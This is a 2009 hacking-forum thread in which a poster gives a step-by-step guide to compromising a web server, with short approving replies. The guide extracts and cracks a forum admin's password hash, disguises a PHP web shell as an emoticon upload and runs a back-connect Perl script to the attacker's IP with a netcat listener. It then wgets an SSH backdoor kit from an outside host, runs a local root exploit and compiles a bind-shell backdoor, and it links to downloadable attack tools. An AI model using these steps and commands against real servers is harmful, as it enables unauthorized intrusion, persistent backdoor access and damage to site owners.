Hack Forums
[TUT]Exploiting and Rooting a Webserver COMPLETE Guide - PICS INCLUDED [TUT] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [TUT]Exploiting and Rooting a Webserver COMPLETE Guide - PICS INCLUDED [TUT] (/showthread.php?tid=192450)

Pages: Pages 1 2 3 4 5 6 7 8 9

[TUT]Exploiting and Rooting a Webserver COMPLETE Guide - PICS INCLUDED [TUT] - The 7th Sage - Nov 27, 2009

Exploiting and Rooting a Webserver from

Scratch Complete Tutorial


Intro:

Hey guys this is The 7th Sage and for todays tutorial we shall learn how to

exploit and root a webserver also gaining future access. The tutorial is most likely to be divided in three parts.

1) Gaining Admin Access.
2) Uploading The Shell
3) Using the Shell to Gain Root Access


Hacking a Forum Admin using Exploit to Gain

Admin Access - Part 1


As said earlier i'm going to exploit ipb v2.1 forum here. You can hack

other forums too using exploits or making own exploits (which is rare :P)

Tools Needed:

This has the shell and backdoor files along with MD5 HashCracking tool and

some other things.




Download:


Code
http://depositfiles.com/files/9juskrtax


Gaining Admin Access.

For today i will be hacking an ipb 2.1 forum by gaining admin access and

then I will show you how to root the server.

First i will be using a perl exploit and gain admin access to the forum. Usually the admin id

is 1 maybe 0 or 2 sometimes.

Here it is this guy:

UserName: Kawool
UserId = 2

Next we extract the user hash and salt. Switch to cmd and execute the perl

exploit.

[img]http://img163.imageshack.us/img163/3986/13230167.jpg[/img]

Then you should see this sql injection tool.

Change the forum index path, userid (of the admin), the table name.

[img]http://img8.imageshack.us/img8/1192/59925653.jpg[/img]

After you click get data from database you should see this hash:



[img]http://i46.[censored].com/2iql3ex.jpg[/img]

Then use converage pass salt option.


[img]http://i48.[censored].com/2yuk7cg.jpg[/img]


After you get the hash the next step to do is crack the salted hash. Since

it is ipb , cracking the hash will be a pain for sure.


Cracking the Hash:

I have provided passwords pro in the download above. It is a very efficient

tool to crack md5 hashes, even salted ones.

[img]http://i47.[censored].com/vwu8ud.jpg[/img]

Now probably go to sleep or drink 4-5 cup of tea until the hash is cracked.

I got mine after sometime.

[img]http://i46.[censored].com/317a8tf.jpg[/img]

So now

Code
Username: Kawool

Password: *******

I'm gonna login as admin now ^^; Lets move on to the main part of gaining root access.





Uploading The Shell as Admin - Part 2


Uploading a Shell:


Now that we have the admin access in our hand now is the part when we

upload a shell (For those who don't know what a shell is, It is a php script that gives

privilages to upload files on a website, mess with other files etc. And yeah allows to gain

root access too).

Uploading shell as smiley here.

In the ACP Go to Look and Feel -> Emoticon Manager -> Upload the shell file as smiley.

[img]http://i48.[censored].com/x3vfuw.jpg[/img]


Now lets browse our shell shall we..

[img]http://i45.[censored].com/vzdnb5.jpg[/img]

w00t we has the shell uploaded properly.Next upload a c99 shell from this shell. Why we did

this is because c99 shells can be detected somwetimes. So the other shell is like a decoy.

Once its done we upload c99 shell.

[img]http://i45.[censored].com/2d1x0uh.jpg[/img]

Good shell was uploaded properly.

[img]http://i49.[censored].com/m5vza.jpg[/img]

That does it for our 2nd part. Move on to Third.

Using the Shell to Gain Root Access - Part 3


Now that we have all the shit ready for rooting lets upload a backconnect script. There are many and if one doesn't work usually the other does.

So i upload back.pl i provided in the file.

[img]http://i47.[censored].com/rlgoqo.jpg[/img]

After thats done time to use the script.

For this we give the following code.

Code
perl back.pl youripaddress

[img]http://i47.[censored].com/2qvyx4n.jpg[/img]



BEFORE we execute the script we need to start netcat and start listening to conenctions on

port 2121.

use netcat from my downloadfile, and use the command:

Code
nc -vv -l -p 2121

You should see something like this

[img]http://i50.[censored].com/6s6us6.jpg[/img]



Next we shall upload an exploit that will let us obtain root status on the server :)

[img]http://i46.[censored].com/214wq3m.jpg[/img]

Time to execute it.

[img]http://i47.[censored].com/15x8g1j.jpg[/img]

Now we upload a backdoor for future access.

Type in the following command

Code
wget www.revitalizemessage.com/xpl/sshdoor.tgz (or whatever ur link is)

[img]http://i47.[censored].com/9i9xdk.jpg[/img]


Now the following command.

Code
tar -zxvf sshdoor.tgz

Then we make sshdoor the current directory using this code..

Code
cd sshdoor

Then

Code
cat README

after you see the window with sang and prabu name. Execute the command

Code
.install yourpassword 2121

After thats done, we connect to the server via putty.

[img]http://i50.[censored].com/ibayw9.jpg[/img]


Err an Epic Fail has occured my friends.

[img]http://i46.[censored].com/142hv09.jpg[/img]

Maybe the host blocked the port, nmap scan revealed it. Oh well we upload another backdoor quickly. You don't always win :D (actually hackers do O_O).


Now we upload xbind.c this should be over quickly. Remember the steps don't you?:D

Indeed its easy.

[img]http://i49.[censored].com/17detv.jpg[/img]


Compile the xbind.c using gcc compiler. (be sure to type cd.. and be in the correct directory to work with the script).

Code
gcc -o xbind xbind.c


Compile, run and connect.

Paste the following code now

Code
./xbind 1985

Switch to netcat again. and run the connection code (nc vv blah blha blah) to the ip.

Now enter teh password and get going.

Code
uname -a

[img]http://i50.[censored].com/29wv9yb.jpg[/img]

There you go, we now have future access to the server :)




That does it for our Rooting Server tutorial which will be "tltr" for some people. Gaining root access is a pain but its worth the reward. So now that you read this tut, please comment :D

Hope to bring more tuts in near future ^^;____________________________________________________________


Credits:

Main Credits go To Neutralise who had a similar vid and provided the backdoor files. I took some tips and some screenies from him.

Last but not the least HF members who pm me to write more tuts ^^;
_____________________________________________________________

Also if you are gonna rip the tutorial you are free to do so, provided you put proper credits.

* - The Lounge - Nov 27, 2009

holy shit ur a pro..nice tut
why are u doing this to me
i thought i was doing really well in hacking..
and now i gotta read all that stuff

Spoiler (Click to View)
Spoiler (Click to View)

* - DDR - Nov 27, 2009

Have you actually tried doing this The 7th Sage?

This exploit is very old and I presume finding vulnerable sites would be quite a task. I remember last time I tried, I don't think I found any at all. Maybe I didn't look hard enough 🤨

* - The 7th Sage - Nov 27, 2009

(Nov 27, 2009 04:14 AM)DDR Wrote:  Have you actually tried doing this The 7th Sage?

This exploit is very old and I presume finding vulnerable sites would be quite a task. I remember last time I tried, I don't think I found any at all. Maybe I didn't look hard enough 🤨

I tried thats why i posted the pics lol :p This was just an example to get admin access. You can try other things.

* - soulstoler - Nov 27, 2009

Really good tutorial. Keep it up 🙂

* - rul3z_br3ak3r - Nov 27, 2009

gud job bro... by d way dis was actually made by Neutralise of h4cky0u.org. Even i got the video tutorial of the same. This is by no means to flame u, correct me if i m wrong. But than too gud job buddy

* - The 7th Sage - Nov 27, 2009

(Nov 27, 2009 05:25 AM)rul3z_br3ak3r Wrote:  gud job bro... by d way dis was actually made by Neutralise of h4cky0u.org. Even i got the video tutorial of the same. This is by no means to flame u, correct me if i m wrong. But than too gud job buddy

you are correct. Thats why i credited him.

* - TyTN - Nov 27, 2009

Holy shit, nice tutorial!

~TyTN

* - MisterDeepRot - Nov 27, 2009

Nice, only tutorial I've ever seen that goes into great detail like that - should be easy to follow. THANKS!

* - VipVince - Nov 27, 2009

Nice tut,wish there was more tut's like this on HF.

* - 1luv - Nov 27, 2009

This is one of the best TuT's I've read. I'm a newb and I should be able to root a server following those steps.

* - VipVince - Nov 27, 2009

(Nov 27, 2009 06:26 AM)1luv Wrote:  This is one of the best TuT's I've read. I'm a newb and I should be able to root a server following those steps.

But some times initiative and a certain way of thinking cannot be learned through reading a tutorial...

* - The 7th Sage - Nov 27, 2009

(Nov 27, 2009 06:30 AM)VipVince Wrote:  But some times initiative and a certain way of thinking cannot be learned through reading a tutorial...

Indeed. Hacking is an art, thats how i see it. Being One-Dimensional will get you nowhere.

* - flAmingw0rm - Nov 27, 2009

Awesome tutorial broh, keep up the good work. :)

* - imAcarrot - Nov 27, 2009

nice tutorial...! good job! ✌